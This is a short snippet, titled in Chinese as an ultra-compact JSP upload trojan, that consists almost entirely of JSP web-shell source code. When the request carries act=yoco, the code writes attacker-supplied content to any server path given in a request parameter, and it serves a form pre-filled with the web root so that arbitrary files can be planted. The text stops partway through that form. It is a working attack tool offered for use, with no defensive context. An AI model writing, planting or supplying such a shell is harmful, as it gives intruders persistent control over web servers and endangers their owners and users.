超精简jsp上传小马,可进一步精简
<%@ page language="java" pageEncoding="gbk"%> <jsp:directive.page import="java.io.File"/> <jsp:directive.page import="java.io.OutputStream"/> <jsp:directive.page import="java.io.FileOutputStream"/> <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%> error <%}}if(i==0){%> ok <%}%> <form action='?act=yoco' method='post'> <input size="100" value="<%=application.getRealPath("/") %>" name="url"><br> <textarea rows="20" cols="80" name="smart">